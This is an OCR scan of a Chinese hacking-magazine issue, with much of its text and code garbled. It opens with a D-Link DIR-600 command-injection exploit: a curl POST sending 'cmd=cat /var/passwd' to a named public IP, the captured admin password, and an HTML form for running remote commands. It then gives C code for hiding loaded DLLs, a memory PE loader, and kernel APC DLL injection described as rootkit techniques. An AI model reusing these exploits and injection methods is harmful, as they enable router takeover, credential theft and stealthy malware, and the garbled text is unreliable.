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D-Link DIR-600 #ir4-$ AT IR IR A

/Kl Blackcool

AT R D-Link TG4k i FH 4 1R 22 2 0] Ui S0 AN /D AN SCEERIR 03 2 () 7 — A EU ™
T, D-Link DIR-600 iy 2 ATV, 3K AN il T ELZEAN S Sk A5 I DL R AT Linux
ARG, Watdul, HENZEE SR AT i 1) web 210, BIMTHUTIRZ 4.

HIHE — MAAEZIRTF B RS B IR 2.12b02. 2.13b01. 2.14b01 )¢
e AEAEZA 24T o

I 5122 A AR T (1152 2% 1] Web $2 119 (] command.php 3 post 4l “cmd=cat
var/passwd”, RIRJHATEZHOH 2 S8 1 A 4, 8 R4S LT 43 Wom Rz e 10 FH P 44 2
B

N HIFRATH curl ZEATIR, Wireshark BHATIUCEAI L, 402 “curl -data
"emd=cat /var/passwd" http://1% £ IP/command.php”, $#AT)G, S HIM K&K, R4k
Rk 1 Fors.

[ AR Y U L USU L (S VILS 1 1 [ CUSG LSt U m e TOmE ] T T LU Ty [PVISSHaIR Lt L3V e

Fle Edt View Go Capture Analyze Statistics Telephony Tools Intemals Help

BEMAN BEERXEE AesDTL Qaab|iW®mx B

Filter: | tcp.stream =q 506 E| Expression.. Clear Apply Save
io. Time Source Destination Protocol Length Info
15600 2369.01936192.168.0.112 217.17.210.159 TCP 66 11434 > http-alt [S¥N] Seq=0 Win=64240 Len=0 M55-1460 WS=4 SACK_PERM=1
15601 2369. 37656 217.17.210.159 192.168.0.112 TCP 66 http-alt > 11434 [S¥N, ACK] Seq=0 Ack=1 Win=5840 Len=0 M55-1448 SACK_PERM=1 W5=2
15602 2369. 37669 192.168.0.112 217.17.210.159 TP 54 11434 > hrtp-alt [ACK] Seq=l Ack=1 Win=64240 Len=0
15603 2369. 37812 192.168.0.112 217.17.210.159 HTTP 312 POST /command.php HTTP/1.1 (application/x-www-form-urlencoded)
15604 2369. 73574 217.17.210.159 192.168.0.112 O . B =), [
15605 2369. 76503 217.17.210.159 192.168.0.112 I Follow TCP Stream — - —
15608 2369. 96443 192.168.0.112 217.17.210.159 e ——— R
15609 2370. 31568 217.17.210.159 192.168.0.112 poaT /command. php HTTP/L.1 y o
15610 2370. 31668 192.168.0.112 217.17.210.159 | E -1 ) . )
User-Agent: curl/7.19.7 (1486-pe~Tinux— Vibcur1/7.19.7 openssL/0.9.8k z1ib/1.2.3.3
15611 2370. 67329 217.17. 210.159 192.168.0.112 | 55ranargs < / e S et e c=t =il
15612 2370. 67339192.168.0.112 217.17.210.159 Host: 217.17.210.159:8080

Accept: */¥
content-Length: 19
content-Type: application/x-www-form-urlencoded

cmd=cat /var/passwdHTTP/1.1 200 OK
server: Linux, HTTP/1.1, DIR-600 ver 2.12
pate: Mon, 21 Feb 2000 07:30:23 GMT

7 Frame 15603: 312 bytes on wire (2496 bits), 312 bytes||| Transfer-encoding: chunked

5 Ethernet II, src: Intelcor_5b:2d:88 (60:67:20:5b:2d:gf| Content-Type: text/html

# Internet Protocol Version 4, Src: 192.168.0.112 (192.3/ | 1p
# Transmission Control Protocol, Src Port: 11434 (11434
= Hypertext Transfer Protocol i

POST /command. php HTTP/1.1\r\n ||| "admin® “Jee8peeg” "0”

User-Agent: curl/7.19.7 (i486-pc-Tinux-gnu) Tibcurl 0
Host: 217.17.210.159:8080%\r\n
Accept: */*\r\n Il
Content-Length: 19\r\n . N
J000 00 26 5a a3 62 48 60 67 20 5b 2d 88 08 00 45 00
1010 01 2a 09 5c 40 00 40 06 c3 a8 c0 a8 00 70 d9 11

1020 d2 9f 2c aa 1f 90 c6 94 Sf 9a b6 &4 3b 4a 50 18 |‘
W20 22 he 25 7h 0N 0O S0 AF 33 G4 20 OF A2 AF AA AA

K1
Pl € PR A0 R IR RN SR, ] DU 2R [P B0 v oA 8 B 54 P 44 3 . A
HE 61k admin, Zfihit Jee8peeg, ¥ %MK 5 M M B S W & B TIOAE, Z5 R 2 Fror,
AJ DLIE R B Sk e A B T R o
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e . - - e . [E=EER

—~
|-_i}||]) https//217.17.210.159:8080; OB X ”D D-LINK SYSTEMS, INC. | ... % ]._| -

Hardware Version : Bx  Firmware Version : 2.12

Product Page : DIR-600

LIRS SANINES If you are configuring the davice for the first time, we recommend that you dlick on the Internet + If you are new to
NETWORK SETTINGS Connection Setup Wizard, and follow the instructions on the screen. If you wish to modify or networking and have

configure the device settings manually, click the Manual Internet Connection Setup.
IPVE

INTERNET CONNECTION SETUP WIZARD

If you would like to utility our easy to use Web-based Wizard to assist you in connecting your new
D-Link Systems Router to the Internet, click on the button below.

[ Internet Connection Setup Wizard ]

Note: Before launching the wizard, please make sure you have followed all steps outlined in the
Quick Installation Guide included in the package.

MANUAL INTERNET CONNECTION OPTION i

If you would like to configure the Internet settings of vour new D-Link Router manually, then dick
on the button below.

[ Manuzl Internet Connection Setup ]

WIRELESS

Copyright @ 2008-2011 D-Link Systems, Inc.

K 2
M BEE] DA X AN IR SR T B, & post s #4047 URL B A], FRATI5E 4w
PLgwE html ULIHISE K post K ELIIRE. ARRGIR a5, HARMD T

<form action="http://217.17.210.159:8080/command.php" method="post">
<p>cmd=<input type="text" name="cmd" /></p>
<input type="submit" value="$47" />

</form>

1%?527'7 exp html BIA], 25 RBWERSTHF, 76 “omd=" JSIHMINERAT AT, Wi

k5 » WHE 3 s, A “PUT” GRS RS URL RIEEdE, SO R
m&ﬁﬁio

& - e L=l
GO ey

33 C\b|8CkCOOI\EXP html P~aX ” @ CA\Users\ibm\Desktop.. * a _{m ﬂ? ‘31;}

cmd=

AT

K 3
I R0 8 6 1 22 A ) LA AT IR 22, WSOHHAT R R 8. SCPRAE S . fr v E NS, fRLEl
TR A R R T 2%, 1% 1Phone IR0 B KA S A7 7E ik e 4TmiR i, LUR
H L BRI KK 4> AT A A
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ek DLL F 4 U5 F8

/EORA

Byl DLL (IZIHIAR 2, bl ik A I gt A2 5 LI S DR 2 — o BBk I g st AN A2 i — 1),
KR53 AT BERARIR I RN . TN, i 8 S & B A3 LoadLibrary BREL,
TXRE AT DA SEORE i oo 42 6 N A7 S AT A5 BRI AT A5 S, B X Rl o7 v B R R fx
f, ASZIL—ANEARN) Peloader AN E—fFARIIME, WHLEZERMATA AN, e
TF )G I 5 B R 2B A P tls | DEYR AN R SE 0], DLL 721X J7 [ AL BE L 25 B EXE SEInAE 2.
FHLLZ Y, EFESEA LoadLibrary FRVHBRIRIE, A FIAEMe ey i £k, 2 /bHh
Fasg . (HHRE RootKit MIHRANIE, Windows it & —ANE R RCPIR I SL R RS Vim sl it 7
SEHLE, BT BN, B AT R R R B3 AN o DL DLL BB A
i, W _EAR 2 iR BRI A2 PEB XU Wik, TR ZAlgmiY, gtk AU, N
WAF2 ) 75400 02 2 i R G K IH

AN B BT, A S AN I A K I g R, LB T SE /N AR 0] %
ANH AR, BRESAT L ik I URBESIX 3, B2 P AN B R T AT (PR i
RIEAT

BB —EISEI
BB LA LoadLibrary PRV BRI IX K433, 1 e 25640 DLL A
7, w1 R,

ffload to mem
HHMODULE hdll = LoadLibrary{"tstDll.d11");

B 1
tstDILdIl J&H VC AR S 1) ANIIAK DLL, SN 44 00 tstFunc IR RR 2. BEINH oD
A PATHE T LA 26, 0k 2 Braso

eht Fods A ST AR A
00400000 | 0000B0Q0 | 00401001 |myloader
10000000 | 0000EDGRY 100011CA [£stD11

Kl 2
W2y FE KB IAIE tstDIl W S IR 21, i Ho il i W%, walEnd, Wil 3
PR

//say goodbye to my dear D11

DUORD =dwZwAdrr = {DWORD =)GetProcAddress{lLoadLibrary{"ntdll.d11"}), "ZwUnmapViewdfSection");
DWORD o0ldZwCode = =dwZwAdrr;

DWORD dwOldProtect;

VirtualProtect{dwZwAdrr, 1, PAGE_EXECUTE_READWRITE, &dw0ldProtect);

*duZwAdrr = @<900088C2;

FreeLibrary{hdll);

Kl 3
KE—EWT =T, AR 47 T Freelibrary BR%, HFEEK DLL VRS ! IE4nHT SCHT
Ui, Il RS T, R B IEIANELE, BTEL, FRAT Freelibrary. %655, Freelibrary 2 J5,
BAIH) DLL WEEAAEAE T, B AR ReI e ? ZEUiiH XA ) &, XL T —T
FreeLibrary pRZL 1S FE
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ERSKUL, FreeLibrary BRECIFAT R 73 A VU5 FIT AN AR & 754 20— 3398 DLL 1)
14—/ DLL 1 DIIMain Fil )% PROCESS_DETACH 31 J&.— MUk 2% [RI S 6 DLL (1) P A7 BB
ATCLEH, Jri = MR, S A BAEE DLL A7 i 2. a2 R g A 14
JREET1 T, TR BT B DLL AT, st il DABETE T IR AR T DLL, ASERLEFIY
HE&?

VEINEE 75 o 10 1) 43 M7 FreeLibrary PR ZL, K ILE G 2T T ntll 40 2% 8 2K
ZwUnmapViewOfSection K58 % N AFv RS TAER, RN AW, Wk 4 s,

FITOHOOBE B8 21818088 mowv eax, 181
FITOHOOBD BA BOB3IFEYF mowv edx, 7FFEB388
FI7669C2 FF12 call dword ptr [edx]
FIFOA9CL|  C2 B20a retn 8

K 4

Rl 2 ek 4, FrCAN T, Rl el AR s /N T, 3% B S R ik,
patch PREL T HEsE, JHIT shellcode #5715 H$% retn 8, W1 5 Fion.

77766988 § C2 0800 retn 8
FII669BB on nop
FIIGH9BC) .  BOBA BOBB3FEY] add byte ptr [edx+7FFEB388], bh
FIF669C2| . FF12 call dvord pty [edx]
FII6A9CH] . C2 0888 retn 8
K5

PR B, BUER EHA IR Freelibrary PRAL, AGRILE TS PR HImL2s IR0, 4l 6
PR

fFfnow should recover the syscall
*duZwAdrr = oldZwCode;
UirtualProtect{dwZwAdrr, 1, dwlldProtect, &dwOldProtect);

Kl 6

W B E S FreeLibrary B30T DR I S8 B FRAT 55, 196 OD L&A R tstDIl T o

WH DLL SR BIR A Sy, N ERAFIF Loadlibrary 152 A0HR, wiaekE 1@k
GetProcAddress BT HIX NS FOAATA/EN DLL T .

KRNI A pateh ISR TAZ RS, 8 IVERCLE . AR, X PRI L) PoC, {7 4%
DLL 7£ DlIMain Hidfil 17— S84 AF, SRR T BEIE T LS PEAR BE, AN AH HE B 42
BTk, AR CEAH MK T .

G UL UE AL o IXPPITVEE TN GRBRI — RS, DRUHAS n] 3 S i 0a 200 1L DLL BT
—IK, FEREEY SOX RS T RIRREL. S48, FT PEB Wik ik —FF, XFh 775 UEIEBREE R
GEAR R R, N AR IR B G S0 DLL 845, W R BRI LN A2 ) 7544, ik
i S AL F s PESKRRIE, W 7 I

fff*ck the PE header
DWORD dwSize = sizeof{(IMAGE DOS HEADER) + sizeof{IMAGE_HT_ HEADERS});

VirtualProtect{hdll, dwSize, PAGE_EXECUTE READWRITE, &dw0ldProtect);
memset{hdll, A, dwSize);

K7

B K23
LT 42 H ShellCode 13115 patch FR % ZwUnmapViewOfSection, SEZHI DLL Bk 1) B % . EL
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IE O LM A 2 R, AR BRI 58T DLL #14K, (HICVEREEE XueTr FI
ProcessExplorer AT . AT ALsiXFENE? XL VAD Uidd. VAD 444 MUl bl #4177
(Virtual Address Descriptor), & —ZHFricBERe PN A7 2 [alAd FH 1R 0 R Bt g b, A SR

AL WS EH A ZwUnmapViewOfSection, 54 A AFHBIEFT G ) VAD gt MBS
R o

IAE )RR T, b T BRAT T 1) 1) 1E & 3K A AP, 285 B3 il VAD Y 1 IR 1) i S8
EAENAF B L HARE S & R IR DLL. XS B IRt RE A s R A4, 100
B E I 2 IREEA R R IR, — B — AT R IMEN) o AF AR, AR S K ) In) i,
e BERTE DLL I N AEE51%, N2 ZwUnmapViewOfSection pRIELAERS IS #E DLL [N 745
E1)8

EF K AENANTTREAE TG, HEAR. RBENFEG R ey, #AH
ZwUnmapViewOfSection B4l bt ZR R ORI N AE 30 T o AR 2 I ACE 2iX B L& DEAR
K&, B, REEIAAGEGRIT], W& 8 fx.

UirtualAlloc{hdll, dwImageSize, MEM_COMHMIT|HEM_RESERVE, PAGE_EXECUTE_READURITE};
memcpy{hdll, dwHBuff, dwImageSize)};

K 8
ARADAR LT BRAR, S0 HEBE MR R/ AR 18], TN DLL (A1 sl T AR 5 o B35 KN
UK, ATRAM PE SkrR3REL, 40k 9 Fios.
IMAGE_DOS_HEADER =dosHeader (IMAGE_DOS_HEADER =)hdll;

IMAGE_NT_HEADERS =ntHerders (IMAGE_HT_HEADERS #*){{DWORD)hdll + dosHeader->e_lfaneuw);
DWORD dwImageSize = ntHerders->0OptionalHeader.SizeOfImage;

Kl 9
e R oKkt Freelibrary, ANILIXIRKAH S patch T o 58X LLG, FTFF XueTr Al
ProcessExplorer, X P RAI# L CIAE B HRBIFA T DLL T, B RIX RN RIRAUR £ 4R %2,
FLAEW AR T AFAEA R foc i IR BEsie o
PATERE AT B A A, IUAE PR T2 P SE DLL ] I, U2 DLL iR S 1l
[ R ik BT, an sl 10 o

VirtualAlloc{hdll, dwImageSize, MEM COMHMIT|HEM RESERUE, PAGE EXECUTE READWRITE);
memcpy{hdll, dwHBuff, dwIimageSize);

Kl 10

T RIX KK VirtualAlloe, 25— 2804 hdll, WD DLL A SRk, SoREaE AT LA
F7E HIE AR A Il T . BT RO AR BRI, BT VAD BRIP4
JIT RAARS I T FL gl T AN 8K DLL i SR IR T

e tEMAIE YR se sE , Boa BT — % DLL S [ Jr bk b 20 o JLSR/E FR AR AR
FIMRI7 5, ANE RN P JFE R S W AP HHE T bal, LB AN T DLL BHE
GadhhE, BREEIE R A OLL M BT« Al i a i S kPl s s ek, R EA
BN FERNE BRI (1, 1 H g A s AR /D SR R R e Ak BT ] 3 AN [P B A HE
M, AL IS

AN TTVE A R Z AL FIFE S #7208 DLL Bk, LARCTGVE X Bt A7 200 5548 . i G
fift, o T LLE S S PE RFIE AR ORI LA, SEI ik BIRTC &4, SiATR T .
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Ring3 T 523K PE Loader

X/

Windows R4, F2)PIafT i —MARTE E 4% DLL, Ingor =l o 40 A i Xk
MR N HFEFPEYIRN B, SIS AEL QAT INEPT#HH DLL BLAGXEE DLL
SAMHAL oL, X8 TN, WAUmBCE fe N R A 2 20 LoadLibrary
5\ LoadLibraryEx 1% —/ME € 1) DLL. AN 2 B3 208 A2 W A48, H S s s a it 1
LoadLibrary >K5ZH .

W ARSI —Fh AT LoadLibrary K DLL MH# A MERE B 7%, IF HALT A
Procmon.exe SRR IS T HIGVE A E BNEM DLL, i 2 Fah4fe, B4l LoadLibrary [
WS . I LoadLibrary U3 ] 43471, W LAY Windows R4t H DLL INEHI 4020 5K,
FEG N =AEB, BRI

> HIHTAE: 28k, UNICODE FAiabst, FHadfmoiing. =214 KownDll.

> WS 82 DLL, 4TJF DLL SCAF AR HE SO AOAR 7 FC P A7 X 380, Wiy DLL 21 Y
18, 4T DLL I HhhkJf O/ A7 28 e, 4 DLL A I AZERE I3 s R o

> PUATHE s BTG AR IAR DLL, &0 TAT 36000, B0 DLL 5| FHVEEL, ik
ATHETR, HH DLL #1461k bk %5

T AT INA DLL X RGERERR 4% T HIEW], 78 H O SL IRy, 0fT- e 58 73 1“4
DLL A LTI ARERE CUIN 5128 7 AN SEELRInlIA 2 H 11, BT R IF0 8 45 5 U ke ik
FRFEA T H A ST 2

T 56208 X DLL BN W AEZ G IS5k ik, R s,

typedef struct {

PIMAGE_NT_HEADERS headers; //DLL [ PE 343k
unsigned char *codeBase; //DLL Z A\ AE R F AL
HMODULE *modules; //fHefif

int numModules; //ELAN %

int initialized; //7& 1 CHI4A1L

} MEMORYMODULE, ¥*PMEMORYMODULE;

568 DLL SO NAAE, 4% HMEMORYMODULE £5 FUPRREAT 174t . 35 BRI A5 2%
ff) DLL &5 0—ANIEF I PE SO, JEIEXE “Mz” F1 “PE” ARilBH TR A s ol %
DLL SR e ingd il b DLL HE N A7 25 R, i S RSN T 3 H il — B A, RS T
FEMEIATEIE, T EC A . FERASNAE, FOCHFIURIE AN N AE, I SR kAR R (1)
B e NORAE DLL (11 8es DR W A Eeh, I3 NS bt . B2 F oK% DLL 275
ST A OLL, Wiy, KiXdE DLL AN AE, MBI S AR 5 bl . AR5
FRPE 55 BRI AR I, IF ORI TR ZE R 8. a3k e gk oL A AL
DLL Bt I ERE o AN s A S B s

HMEMORYMODULE MemoryLoadLibrary(const void *data)

{
PMEMORYMODULE result;

PIMAGE_DOS_HEADER dos_header;

HACKER DEFENCE 7



PROGRAMMING ANALYSE
“‘ ﬁ E m ﬁ ) 2 E%EE socket )

PIMAGE_NT_HEADERS old_header;
unsigned char *code, *headers;
SIZE_T locationDelta;

DIIEntryProc DIIEntry;

BOOL successfull;

dos_header = (PIMAGE_DOS_HEADER)data;
S/ A% DLL 75— AN TE 31 DLL
if (dos_header->e_magic != IMAGE_DOS_SIGNATURE) {
#if DEBUG_OUTPUT
OutputDebugString("Not a valid executable file.\n");
#endif
return NULL;

old_header = (PIMAGE_NT_HEADERS)&((const unsigned char
*)(data))[dos_header->e_Ifanew];
if (old_header->Signature != IMAGE_NT_SIGNATURE) {
#if DEBUG_OUTPUT
OutputDebugString("No PE header found.\n");
#endif
return NULL;
}
//79 DLL HH i N A7 2% 1)
code = (unsigned char
*)VirtualAlloc((LPVOID)(old_header->OptionalHeader.ImageBase),
old_header->OptionalHeader.SizeOflmage,
MEM_RESERVE,
PAGE_READWRITE);
if (code == NULL) {
[TV RAE SR S IE AL B A7 R T 55 A1 HR R — B LA
code = (unsigned char *)VirtualAlloc(NULL,
old_header->OptionalHeader.SizeOflmage,
MEM_RESERVE,
PAGE_READWRITE);
if (code == NULL) {
#if DEBUG_OUTPUT
OutputLastError("Can't reserve memory");
#endif
return NULL;

}
result = (PMEMORYMODULE)HeapAlloc(GetProcessHeap(), 0,

sizeof(MEMORYMODULE));

HACKER DEFENCE 8
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result->codeBase = code;

result->numModules = 0;
result->modules = NULL;
result->initialized = 0;
//4 DLL [FJBA5 commit A7
VirtualAlloc(code,
old_header->OptionalHeader.SizeOflmage,
MEM_COMMIT,
PAGE_READWRITE);
/124 DLL ] PE 3k commit 47
headers = (unsigned char *)VirtualAlloc(code,
old_header->OptionalHeader.SizeOfHeaders,
MEM_COMMIT,
PAGE_READWRITE);
//*4 PE =k copy F code
memcpy(headers, dos_header, dos_header->e_Ifanew +
old_header->OptionalHeader.SizeOfHeaders);
result->headers = (PIMAGE_NT_HEADERS)&((const unsigned char
*)(headers))[dos_header->e_Ifanew];
/58 DLL & Ak
result->headers->OptionalHeader.ImageBase = (POINTER_TYPE)code;
/4 DLL ST FP (15 48 DL i A A7 e
CopySections(data, old_header, result);
[/ ANE ik
locationDelta = (SIZE_T)(code - old_header->OptionalHeader.ImageBase);
if (locationDelta !=0) {
PerformBaseRelocation(result, locationDelta);
}
//n#%% DLL Fr 5 | 1At DLL, - 18 50 NZE b R 3 st
if ('BuildimportTable(result)) {
goto error;
}
[T RAT RN A AE B, JF HOR kR A " discardable 15 8k

FinalizeSections(result);

J/ARECE A DLL N 1 A1
if (result->headers->OptionalHeader.AddressOfEntryPoint != 0) {
DIIEntry = (DHENtryProc) (code +

result->headers->OptionalHeader.AddressOfEntryPoint);
if (DIIEntry ==0) {
#if DEBUG_OUTPUT
OutputDebugString("Library has no entry point.\n");
#endif
goto error;

HACKER DEFENCE 9
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/145 DLL BN 23
successfull = (*DIIEntry)((HINSTANCE)code, DLL_PROCESS_ATTACH, 0);
if (!successfull) {
#if DEBUG_OUTPUT
OutputDebugString("Can't attach library.\n");

ttendif
goto error;

}

result->initialized = 1;

return (HMEMORYMODULE)result;
error:

//HEVE DLL

MemoryFreelibrary(result);

return NULL;

Hrh i H] CopySections() B 20K 56 ek 15 4k # VLA N A7, I H] PerformBaseRelocation()
AT HEEAT, 4 BuildimportTable()inZk5 | I HA DLL FFE 20T AR T 1K ek i tulk, A
FinalizeSections(\ W4k WAZ T IW T o BeJa, FHAEECNAFINZ I, FoA D BRI LT R
T, WY MemoryFreeLibrary() 117 DLL.

Wb, ETFE—ARBORIFEUINZ DLL 5 R B Mokl SEBLAn R .

/1R N R E A SRR e
FARPROC MemoryGetProcAddress(HMEMORYMODULE module, const char *name)
{
unsigned char *codeBase = ((PMEMORYMODULE)module)->codeBase;
int idx=-1;
DWORD i, ¥*nameRef;
WORD *ordinal;
PIMAGE_EXPORT_DIRECTORY exports;
PIMAGE_DATA_DIRECTORY directory =
GET_HEADER_DICTIONARY((PMEMORYMODULE)module, IMAGE_DIRECTORY_ENTRY_EXPORT);
if (directory->Size == 0) {
/1A S ARG B
return NULL;
1
exports = (PIMAGE_EXPORT_DIRECTORY) (codeBase + directory->VirtualAddress);
if (exports->NumberOfNames == 0 | | exports->NumberOfFunctions == 0) {
/14T S EHE 1 E
return NULL;
1
[HES R I 2 I8 R ILHC R 44

HACKER DEFENCE 10
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nameRef = (DWORD *) (codeBase + exports->AddressOfNames);
ordinal = (WORD *) (codeBase + exports->AddressOfNameOrdinals);
for (i=0; i<exports->NumberOfNames; i++, nameRef++, ordinal++) {

if (stricmp(name, (const char *) (codeBase + (*nameRef))) == 0) {
idx = *ordinal;

break;
}
}
if (idx ==-1) {
/[ R 2
return NULL;
}
if (DWORD)idx > exports->NumberOfFunctions) {
/1B FERNT5 AN PF
return NULL;
}
/15 RVA B4y A A7 il

return (FARPROC) (codeBase + (*(DWORD *) (codeBase + exports->AddressOfFunctions
+ (idx*4))));
}

N AN S

void LoadFromMemory(void)
{
FILE *fp;
unsigned char *data=NULL;
size_t size;
HMEMORYMODULE module;
ShowMe showMe; //M\ DLL 153 Hiff] API

//¥TIF DLL 34
fp = fopen(DLL_FILE, "rb");
if (fo == NULL)
{
printf("Can't open DLL file \"%s\".", DLL_FILE);
goto exit;
}
//EEHL DLL S P 25

fseek(fp, 0, SEEK_END);

size = ftell(fp);

data = (unsigned char *)malloc(size);
fseek(fp, 0, SEEK_SET);

fread(data, 1, size, fp);

fclose(fp);

HACKER DEFENCE 11
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/1N WAL INEL
module = MemoryLoadLibrary(data);
if (module == NULL)
{
printf("Can't load library from memory.\n");
goto exit;
}
//3REL DLL 3t B& # ShowMe ik
showMe = (ShowMe)MemoryGetProcAddress(module,"ShowMe");
showMe();
MemoryFreelibrary(module);
exit:
if (data)
free(data);
}

(EIEAT5E showMe():2 JF A3 —MUFFAE, 7% DLL L2 Ik T BLARAY DLL 5
R E. HEIERH] Procmon.exe BB HEREBEIER, #0725 21i% DLL i,

RSO U~ T 540 B IR DLL 11575 ) Loadlibrary (07755 5 H:52 th M
PRI DLL (077, fEBEIERY [, S HERRVEN, T BL S 2 1 DLL, TR
SRR R AP,

A APC A 17 N FEFF4E A DLL

/TR

W% /& Rootkit Z8 5 eI 7, HBHAE T LA CRF%)E Ring -1 228D, —BW
AL ANGE, o AHE SR ATAT 2 A i B, vl DU R FE BB SE . Rootkit [ H
PR EEAR Y, Bk, Rootkit 7&—Leffil T FHEMRTEAR LS| Tk, LR Iihm
R BT, W AR SRR A E] svehost HEFE 25 1]

AL APl WL A AZ Mk N R 7 B 77 ¥——APC. [l 48 L FE4d A APC J2 5| T3
HERMI k2 —, @234 Rootkit (W1 TDL KA WUEn[1T. HARIR 29 aEfl A
APC EEARAT S, AT S 2, R flE—A APCHI AN C A LR, A Reit X g e
KAl BBt BEEAEXOE R LLH OSSR, B NN AR, 2RSS, RE
AL 2 RS AR P 5 A A DG IR SRR 7 [ i AN R P46 APC, B R &A1k
FEAE TR FT T IR AT TAE ) o 3K SEBG AT DUINTR B X “4diN APC” Jiik AT T

T HTA S A APC A FH 5481

£ APC

#E% APC CLHE APC H{4li 45 R4 ¥ 1A 7 R Y. FH 2 AH AR B ISR
1. APC IR LMMET

W KelnitializeApc Bi ], — Bt 874 (1) APC HIUGAARAS W1 T

pApc = (PKAPC)ExAllocatePool(NonPagedPool,sizeof(KAPC));
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if (!pApc)
{

DbgPrintEx(LOGMACRO, "ExAllocatePool failure.\n");
goto _exit;
}
_KeInitializeApc(pApc, (PRKTHREAD)pPayPara->pThread,OriginalApcEnviro
nment,
(PKKERNEL_ROUTINE) ((ULONG)ApcKernelRoutine),NULL,
(PKNORMAL_ROUTINE)pPayPara->LoadLibraryExAAddr,UserMode, pBaseAdd
r);
_KeInsertQueueApc(pApc,NULL,NULL,IO_NO_INCREMENT);

_KelnitializeApc A 52 3KHUT) KelnitializeApc Hihik, IXANBREUH R AU -

VOID
KelnitializeApc (
__out PRKAPC Apc,
__in PRKTHREAD Thread,
__in KAPC_ENVIRONMENT Environment,
__in PKKERNEL_ROUTINE KernelRoutine,
__in_opt PKRUNDOWN_ROUTINE RundownRoutine,
__in_opt PKNORMAL_ROUTINE NormalRoutine,
__in_opt KPROCESSOR_MODE ApcMode,
__in_opt PVOID NormalContext

M1, Thread #8E T HHdA N HARZRE; KernelRoutine ¥55& T WAZA NISITIMREL;
NormalRoutine #8732 T F F 12171 26 %; NormalContext IIJ /& NormalRoutine 124,

FEARICRBIH, NormalRoutine Bl & LoadLibraryExA, NormalContext B[l )& LoadLibraryExA
A ANSE “o\test.dll”s TR EERIE, TRAF “c\test.dll” X ANRFHR )28 (0] V1% 7
Thread JTfERERE2R ) BL, i ARG B4 H AR HERE bR SCrp 4 il )

InitializeObjectAttributes(&oa,NULL,0BJ_KERNEL_HANDLE,NULL,NULL);
cid.UniqueProcess = pPayPara->hProcessID;
cid.UniqueThread = 0;
ntStatus = ZwOpenProcess(&hProcess,PROCESS_ALL_ACCESS,&oa,&cid);
if (INT_SUCCESS(ntStatus))
{
DbgPrintEx(LOGMACRO, "ZwOpenProcess failure.\n");
goto _exit;
}
uSize = sizeof(cDll);
ntStatus = ZwAllocateVirtualMemory(hProcess,&pBaseAddr,0,&uSize,
MEM_COMMIT |MEM_RESERVE,PAGE_READWRITE);
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if (INT_SUCCESS(ntStatus))
{

DbgPrintEx(LOGMACRO, "ZwAllocateVirtualMemory failure.\n");

goto _exit;
}
KeStackAttachProcess((PKPROCESS)pPayPara->pProcess,&ApcState);
memcpy (pBaseAddr,cDll,sizeof(cD11));
pPayPara->LoadLibraryExAAddr =

GetLoadLibraryExAaddrFromPEB(Data,hProcess);

KeUnstackDetachProcess(&ApcState);

KT LIRS R HARK G GHERE. ZefE) AE T30 (& APC) 4148 LoadLibraryExA
HHERERUTVEIR 2, A SORBIEH 7202 MR R T A B, $R3) kernel32 BiH, 44
JEi M kernel32 [¥) 5 H R £ H #8281 LoadLibrarayExA (134l .

2. MHABREHREBIRH

SCEAN BRI APC IO, $E3) LoadLibrarayExA sk IR k. JivkiRE, R
TLREFR B kernel32 FRERIFENE, FEM kernel32 M S 3R H AR ZEN T, FREE R
&, kernel32 HFEHETE ASLR HLEI T, FRRE S IFENLE SR, K AR gL . 7
A, IRENARASLEVT A user-mode HUREREZS AII, NOAZBIAFRERE LR 3, A SOORH R A
KeStackAttachProcess PRI & T WEFEZ¥[H] . GetLoadLibraryExAaddrFromPEB pREACHS U

PVOID GetLoadlLibraryExAaddrFromPEB(GlobalData *Data,HANDLE
ProcessHandle)
{

NTSTATUS ntStatus;

ULONG uRet,ulLen;

PVOID pFnAddr = NULL;

PROCESS_BASIC_INFORMATION pbi;

PPEB pPeb;

PPEB_LDR_DATA pLdr;

LIST_ENTRY *pEntry;

PLDR_DATA TABLE_ENTRY pDataEntry;

WCHAR
wKernel32[]={L'K',L'e',L'r',L'n",L'e",L'1",L"3",L'2",L".",L'd",L'1",L"]
',0};

UNICODE_STRING usl;

PZwQueryInformationProcess _ZwQueryInformationProcess = NULL;

RtlInitUnicodeString(&usl,L"ZwQueryInformationProcess");

_ZwQueryInformationProcess =
(PZwQueryInformationProcess)MmGetSystemRoutineAddress(&usl);

if (NULL == _ZwQueryInformationProcess)

{

goto _exit;
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/ /3RBCEERE Fr A A (45 R
ntStatus =
_ZwQueryInformationProcess(ProcessHandle,ProcessBasicInformation,
&pbi,sizeof (PROCESS_BASIC_ INFORMATION),&uRet);

if (INT_SUCCESS(ntStatus))
{

goto _exit;
}
RtlInitUnicodeString(&usl,wKernel32);
pPeb = (PPEB)pbi.PebBaseAddress;
if (pPeb == NULL)
{
goto _exit;
}
pLdr = pPeb->Ldr;
pEntry = pLdr->InLoadOrderModulelList.Flink;
while(pEntry != &pLdr->InLoadOrderModulelList)

{
pDataEntry = (PLDR_DATA TABLE_ENTRY)pEntry;
if (pDataEntry->LoadCount <= @ || !pDataEntry->D11Base)
{
pEntry = pEntry->Flink;
continue;
¥
/ /iRy, k%) kernel32
if
(RtlCompareUnicodeString(&usl,&pDataEntry->BaseD11Name, TRUE) == 0)
{
pFnAddr = GetProcedureAddressByHash(
pDataEntry->D11Base,H_LoadLibraryExW);
break;
}
pEntry = pEntry->Flink;
}
_exit:

return pFnAddr;

AR E] kernel32 L5, 1 GetProcedureAddressByHash pR (i kernel32 §
H K $k 3| LoadLibrayExA [Pl (73 : GetProcedureAddressByHash K H H.HEM ).

TR EH—PPTRT BRI /772N kernel mode 3REX kernel32 JEhk, 135 A7 X6 a] LLH S
TESRENFE R E — A load image [FI, BT IEFE R 1 i I 257 kernel32 AL, X AN J5 VA1)
dife SR T AR IR AN 2 Ja TR AT — MRl R, A W R IRE R Z LA B B, At E
EREFRELF] kernel32 FI3ENET .
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fili & APC

{6 B AwIaa e APC iz, - ANER ELE S HL Thread A MR A
AINTIPEAI A S B SR s

APC ISR R A L DA T A2, T Re 5 DA im N LR ZREL . i, Sk [Ty
HEREMZFEYIZR, AN APC, AR w Ghs 1o — Bl BEHF— 56 APC filuk 25483 H.
e SEUNIRTTR- A TTIIES

G T ELANIE APC fil R 2k ZRFEAE user mode “5£F, JEHZEFE)E alertable, JSATE
H bR h R B AN IR R LU T R T

for (i=@; i<pProcessInfo->NumberOfThreads; ++i)
{
ntStatus = PsLookupThreadByThreadId(
pThreadInfo->ClientId.UniqueThread, (PETHREAD*)&pThread);
if (INT_SUCCESS(ntStatus))

{
goto _nextProcess;
}
ObfDereferenceObject(pThread);
if (
//State
